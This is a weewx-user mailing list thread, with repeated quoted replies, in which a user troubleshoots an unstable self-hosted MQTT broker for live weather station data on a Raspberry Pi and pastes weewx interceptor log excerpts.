> Check your mosquitto logs to see what's happening
>
> On Thursday, October 3, 2019 at 9:45:02 PM UTC-4, K Weaver wrote:
>>
>> Does it matter if I'm using Apache or nginx?
>>
>>
>> On Thu, Oct 3, 2019, 2:54 PM K Weaver  wrote:
>>
>>> I used cloud but couldn't get the client to connect
>>>
>>> I can't figure out why it shuts down like that around 9 every morning.
>>>
>>> It seems like the sub for the client is connecting separately to the raw
>>> data and the real time.
>>>
>>> On Thu, Oct 3, 2019, 1:25 PM Pat  wrote:
>>>
>>>> Have you considered trying a free public broker to resolve some of the
>>>> other issues outlined in this post for the interim? Then once those are
>>>> fixed you can focus on making your broker stable?
>>>>
>>>>
>>>>
>>>> On Thursday, October 3, 2019 at 11:40:38 AM UTC-4, K Weaver wrote:
>>>>>
>>>>> And checking from work its back down again...
>>>>>
>>>>> On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:
>>>>>
>>>>>> 10:39 pm Its up. I'm not gonna try to make any edits if anyone wants
>>>>>> to check it out.
>>>>>> Sorry about that
>>>>>>
>>>>>>
>>>>>> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>>>>>>
>>>>>>> I still think you have something else going on. You posted 18
>>>>>>> minutes ago, and I cannot reach it.
>>>>>>>
>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>> failed: Unknown reason
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>>>>>>
>>>>>>>> It's accessable online now if anyone is available to check it out.
>>>>>>>>
>>>>>>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>>>>>>
>>>>>>>>> for some reason it disconnects every morning around 9 am
>>>>>>>>>
>>>>>>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>>>>>>
>>>>>>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>>>>>>
>>>>>>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>>>>>>
>>>>>>>>>>> Looks like it's down again - or it's not working externally still
>>>>>>>>>>>
>>>>>>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>>>>>>>
>>>>>>>>>>>> I'm home from work now and reset it.
>>>>>>>>>>>> I'm not sure why it shut down...
>>>>>>>>>>>>
>>>>>>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>>>>>>>
>>>>>>>>>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>>>>>>>>>
>>>>>>>>>>>>> WebSocket connection to 'ws://
>>>>>>>>>>>>> mosscrkmqtt.duckdns.org:9001/mqtt' failed: Unknown reason
>>>>>>>>>>>>>
>>>>>>>>>>>>>
>>>>>>>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver
>>>>>>>>>>>>> wrote:
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> Hey, its back up and running now. Only thing now it appears
>>>>>>>>>>>>>> to be  flipping between raw data and real time data..
>>>>>>>>>>>>>>
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> Here is a snippet of the log.  You can really see it flipping
>>>>>>>>>>>>>> back and forth on the site.
>>

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

Does it matter if I'm using Apache or nginx?


On Thu, Oct 3, 2019, 2:54 PM K Weaver  wrote:

> I used cloud but couldn't get the client to connect
>
> I can't figure out why it shuts down like that around 9 every morning.
>
> It seems like the sub for the client is connecting separately to the raw
> data and the real time.
>
> On Thu, Oct 3, 2019, 1:25 PM Pat  wrote:
>
>> Have you considered trying a free public broker to resolve some of the
>> other issues outlined in this post for the interim? Then once those are
>> fixed you can focus on making your broker stable?
>>
>>
>>
>> On Thursday, October 3, 2019 at 11:40:38 AM UTC-4, K Weaver wrote:
>>>
>>> And checking from work its back down again...
>>>
>>> On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:
>>>
>>>> 10:39 pm Its up. I'm not gonna try to make any edits if anyone wants to
>>>> check it out.
>>>> Sorry about that
>>>>
>>>>
>>>> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>>>>
>>>>> I still think you have something else going on. You posted 18 minutes
>>>>> ago, and I cannot reach it.
>>>>>
>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>> failed: Unknown reason
>>>>>
>>>>>
>>>>>
>>>>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>>>>
>>>>>> It's accessable online now if anyone is available to check it out.
>>>>>>
>>>>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>>>>
>>>>>>> for some reason it disconnects every morning around 9 am
>>>>>>>
>>>>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>>>>
>>>>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>>>>
>>>>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>>>>
>>>>>>>>> Looks like it's down again - or it's not working externally still
>>>>>>>>>
>>>>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>>>>>
>>>>>>>>>> I'm home from work now and reset it.
>>>>>>>>>> I'm not sure why it shut down...
>>>>>>>>>>
>>>>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>>>>>
>>>>>>>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>>>>>>>
>>>>>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>>>>>> failed: Unknown reason
>>>>>>>>>>>
>>>>>>>>>>>
>>>>>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver
>>>>>>>>>>> wrote:
>>>>>>>>>>>>
>>>>>>>>>>>> Hey, its back up and running now. Only thing now it appears to
>>>>>>>>>>>> be  flipping between raw data and real time data..
>>>>>>>>>>>>
>>>>>>>>>>>>
>>>>>>>>>>>> Here is a snippet of the log.  You can really see it flipping
>>>>>>>>>>>> back and forth on the site.
>>>>>>>>>>>>
>>>>>>>>>>>>
>>>>>>>>>>>> ': 1}
>>>>>>>>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT:
>>>>>>>>>>>> Published record 2019-09-30 19:57:26 EDT (1569887846)
>>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>>> ServerThread: GET:
>>>>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>>> MainThread: raw data:
>>>>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>>>>&

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

I used cloud but couldn't get the client to connect

I can't figure out why it shuts down like that around 9 every morning.

It seems like the sub for the client is connecting separately to the raw
data and the real time.

On Thu, Oct 3, 2019, 1:25 PM Pat  wrote:

> Have you considered trying a free public broker to resolve some of the
> other issues outlined in this post for the interim? Then once those are
> fixed you can focus on making your broker stable?
>
>
>
> On Thursday, October 3, 2019 at 11:40:38 AM UTC-4, K Weaver wrote:
>>
>> And checking from work its back down again...
>>
>> On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:
>>
>>> 10:39 pm Its up. I'm not gonna try to make any edits if anyone wants to
>>> check it out.
>>> Sorry about that
>>>
>>>
>>> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>>>
>>>> I still think you have something else going on. You posted 18 minutes
>>>> ago, and I cannot reach it.
>>>>
>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>> failed: Unknown reason
>>>>
>>>>
>>>>
>>>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>>>
>>>>> It's accessable online now if anyone is available to check it out.
>>>>>
>>>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>>>
>>>>>> for some reason it disconnects every morning around 9 am
>>>>>>
>>>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>>>
>>>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>>>
>>>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>>>
>>>>>>>> Looks like it's down again - or it's not working externally still
>>>>>>>>
>>>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>>>>
>>>>>>>>> I'm home from work now and reset it.
>>>>>>>>> I'm not sure why it shut down...
>>>>>>>>>
>>>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>>>>
>>>>>>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>>>>>>
>>>>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>>>>> failed: Unknown reason
>>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver
>>>>>>>>>> wrote:
>>>>>>>>>>>
>>>>>>>>>>> Hey, its back up and running now. Only thing now it appears to
>>>>>>>>>>> be  flipping between raw data and real time data..
>>>>>>>>>>>
>>>>>>>>>>>
>>>>>>>>>>> Here is a snippet of the log.  You can really see it flipping
>>>>>>>>>>> back and forth on the site.
>>>>>>>>>>>
>>>>>>>>>>>
>>>>>>>>>>> ': 1}
>>>>>>>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>>>>>>> record 2019-09-30 19:57:26 EDT (1569887846)
>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>> ServerThread: GET:
>>>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>> MainThread: raw data:
>>>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>> MainThread: ignored parameter realtime=1
>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>>>> MainThread: ignored parameter action=updateraw
>>>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

And checking from work its back down again...

On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:

> 10:39 pm Its up. I'm not gonna try to make any edits if anyone wants to
> check it out.
> Sorry about that
>
>
> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>
>> I still think you have something else going on. You posted 18 minutes
>> ago, and I cannot reach it.
>>
>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt' failed:
>> Unknown reason
>>
>>
>>
>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>
>>> It's accessable online now if anyone is available to check it out.
>>>
>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>
>>>> for some reason it disconnects every morning around 9 am
>>>>
>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>
>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>
>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>
>>>>>> Looks like it's down again - or it's not working externally still
>>>>>>
>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>>
>>>>>>> I'm home from work now and reset it.
>>>>>>> I'm not sure why it shut down...
>>>>>>>
>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>>
>>>>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>>>>
>>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>>> failed: Unknown reason
>>>>>>>>
>>>>>>>>
>>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>>>>>>>>
>>>>>>>>> Hey, its back up and running now. Only thing now it appears to be
>>>>>>>>> flipping between raw data and real time data..
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> Here is a snippet of the log.  You can really see it flipping back
>>>>>>>>> and forth on the site.
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> ': 1}
>>>>>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>>>>> record 2019-09-30 19:57:26 EDT (1569887846)
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>>> ServerThread: GET:
>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>>> raw data:
>>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>>> ignored parameter realtime=1
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>>> ignored parameter action=updateraw
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>>> raw packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>>>>>>>>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>>>>>>>>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
>>>>>>>>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>>>>>>>>> 'temperature.4264.24C86E0936CB': 73.4,
>>>>>>>>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>>>>>>>>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>>>>>>>>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>>> mapped packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 
>>>>>>>>> 56.0,
>>>>>>>>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>>>>>>>>> 'usUnits': 

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

10:39 pm Its up. I'm not gonna try to make any edits if anyone wants to
check it out.
Sorry about that


On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:

> I still think you have something else going on. You posted 18 minutes ago,
> and I cannot reach it.
>
> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt' failed:
> Unknown reason
>
>
>
> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>
>> It's accessable online now if anyone is available to check it out.
>>
>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>
>>> for some reason it disconnects every morning around 9 am
>>>
>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>
>>>> I'm able to pull it up on my phone without WiFi .
>>>>
>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>
>>>>> Looks like it's down again - or it's not working externally still
>>>>>
>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>
>>>>>> I'm home from work now and reset it.
>>>>>> I'm not sure why it shut down...
>>>>>>
>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>
>>>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>>>
>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>> failed: Unknown reason
>>>>>>>
>>>>>>>
>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>>>>>>>
>>>>>>>> Hey, its back up and running now. Only thing now it appears to be
>>>>>>>> flipping between raw data and real time data..
>>>>>>>>
>>>>>>>>
>>>>>>>> Here is a snippet of the log.  You can really see it flipping back
>>>>>>>> and forth on the site.
>>>>>>>>
>>>>>>>>
>>>>>>>> ': 1}
>>>>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>>>> record 2019-09-30 19:57:26 EDT (1569887846)
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor:
>>>>>>>> ServerThread: GET:
>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> raw data:
>>>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> ignored parameter realtime=1
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> ignored parameter action=updateraw
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> raw packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>>>>>>>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>>>>>>>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
>>>>>>>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>>>>>>>> 'temperature.4264.24C86E0936CB': 73.4,
>>>>>>>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>>>>>>>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>>>>>>>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> mapped packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 
>>>>>>>> 56.0,
>>>>>>>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>>>>>>>> 'usUnits': 1}
>>>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>>>> record 2019-09-30 19:57:31 EDT (1569887851)
>>>>>>>> Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>>>> empty queue
>>>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor:
>>>>>>&

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

It's accessable online now if anyone is available to check it out.

On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:

> for some reason it disconnects every morning around 9 am
>
> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>
>> I'm able to pull it up on my phone without WiFi .
>>
>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>
>>> Looks like it's down again - or it's not working externally still
>>>
>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>
>>>> I'm home from work now and reset it.
>>>> I'm not sure why it shut down...
>>>>
>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>
>>>>> Looks like it's down again or you have a firewall issue again.
>>>>>
>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>> failed: Unknown reason
>>>>>
>>>>>
>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>>>>>
>>>>>> Hey, its back up and running now. Only thing now it appears to be
>>>>>> flipping between raw data and real time data..
>>>>>>
>>>>>>
>>>>>> Here is a snippet of the log.  You can really see it flipping back
>>>>>> and forth on the site.
>>>>>>
>>>>>>
>>>>>> ': 1}
>>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>> record 2019-09-30 19:57:26 EDT (1569887846)
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>>>> GET:
>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> raw data:
>>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> ignored parameter realtime=1
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> ignored parameter action=updateraw
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> raw packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>>>>>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>>>>>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
>>>>>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>>>>>> 'temperature.4264.24C86E0936CB': 73.4,
>>>>>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>>>>>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>>>>>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> mapped packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 
>>>>>> 56.0,
>>>>>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>>>>>> 'usUnits': 1}
>>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>>> record 2019-09-30 19:57:31 EDT (1569887851)
>>>>>> Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> empty queue
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>>>> GET:
>>>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> raw data:
>>>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> ignored parameter realtime=1
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> ignored parameter rainin=0.00
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> ignored parameter action=updateraw
>>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>>> raw packet: {'rainfall.0583.24C86E0936CB': 0.0,
>>>>>> 

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

for some reason it disconnects every morning around 9 am

On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:

> I'm able to pull it up on my phone without WiFi .
>
> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>
>> Looks like it's down again - or it's not working externally still
>>
>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>
>>> I'm home from work now and reset it.
>>> I'm not sure why it shut down...
>>>
>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>
>>>> Looks like it's down again or you have a firewall issue again.
>>>>
>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>> failed: Unknown reason
>>>>
>>>>
>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>>>>
>>>>> Hey, its back up and running now. Only thing now it appears to be
>>>>> flipping between raw data and real time data..
>>>>>
>>>>>
>>>>> Here is a snippet of the log.  You can really see it flipping back and
>>>>> forth on the site.
>>>>>
>>>>>
>>>>> ': 1}
>>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>> record 2019-09-30 19:57:26 EDT (1569887846)
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>>> GET:
>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>>> data:
>>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> ignored parameter realtime=1
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> ignored parameter action=updateraw
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>>> packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>>>>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>>>>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
>>>>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>>>>> 'temperature.4264.24C86E0936CB': 73.4,
>>>>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>>>>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>>>>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> mapped packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 
>>>>> 56.0,
>>>>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>>>>> 'usUnits': 1}
>>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published
>>>>> record 2019-09-30 19:57:31 EDT (1569887851)
>>>>> Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> empty queue
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>>> GET:
>>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>>> data:
>>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> ignored parameter realtime=1
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> ignored parameter rainin=0.00
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>>> ignored parameter action=updateraw
>>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>>> packet: {'rainfall.0583.24C86E0936CB': 0.0,
>>>>> 'battery.0583.24C86E0936CB': 0, 'sensor_id.0583.24C86E0936CB':
>>>>> '0583', 'rssi.0583.24C86E0936CB': 75.0,
>>>>> 'windspeed.0583.24C86E0936CB': 0.0, 'winddir.0583.24C86E0936CB':
>>>>> 338.0, 'dateTime': 1569887864, 'pressure.0583.24C86E0936CB': 29.31,
>>>>> 'usUnits.0583.24C86E0936CB': 1, 'rain_total.0583.24C86E0936CB':
>>>>&g

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

I'm able to pull it up on my phone without WiFi .

On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:

> Looks like it's down again - or it's not working externally still
>
> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>
>> I'm home from work now and reset it.
>> I'm not sure why it shut down...
>>
>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>
>>> Looks like it's down again or you have a firewall issue again.
>>>
>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>> failed: Unknown reason
>>>
>>>
>>> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>>>
>>>> Hey, its back up and running now. Only thing now it appears to be
>>>> flipping between raw data and real time data..
>>>>
>>>>
>>>> Here is a snippet of the log.  You can really see it flipping back and
>>>> forth on the site.
>>>>
>>>>
>>>> ': 1}
>>>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published record
>>>> 2019-09-30 19:57:26 EDT (1569887846)
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>> GET:
>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>> data:
>>>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> ignored parameter realtime=1
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> ignored parameter action=updateraw
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>> packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>>>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>>>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
